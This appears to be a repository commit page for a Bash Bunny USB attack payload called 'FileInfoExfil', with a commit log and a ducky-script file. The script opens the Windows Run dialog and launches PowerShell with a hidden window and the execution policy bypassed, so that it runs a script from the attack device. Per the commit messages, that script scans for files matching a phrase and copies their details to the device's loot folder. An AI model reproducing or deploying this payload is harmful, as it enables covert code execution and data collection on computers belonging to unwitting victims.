ASarcasticGuy 6542907c6e Added FileInfoExfil payload (#76)
* Scan for files that contain a specific phrase and exfil info about them

* Delete FileInfoExfil

* Create FileInfoExfil

* Delete FileInfoExfil

* Scans system for files beginning with a specific phrase and exfils data from them

* Delete ducky_script.txt

* Delete p.bat

* Delete payload.txt

* Exfil file information to the loot folder

Exfiltrates file information of files that contain a specific phrase, including if it is a directory, the file path and file size (in KB) to the loot folder of the BashBunny.

* Delete p.ps1

* Add files via upload

* Create readme.md

* Delete readme.md

* Create readme.md

* Update payload.txt

* Update readme.md
2017-04-07 17:18:48 +10:00

17 lines
279 B
Plaintext

REM Title: FileInfoExfil
REM Creator: A_SarcasticGuy
REM Target: Windows
REM Version: 1.0
DELAY 500
GUI r
DELAY 1000
STRING powershell -windowstyle hidden -ExecutionPolicy ByPass ".((gwmi win32_volume -f 'label=''BASHBUNNY''').Name+'payloads\p.ps1')"
ENTER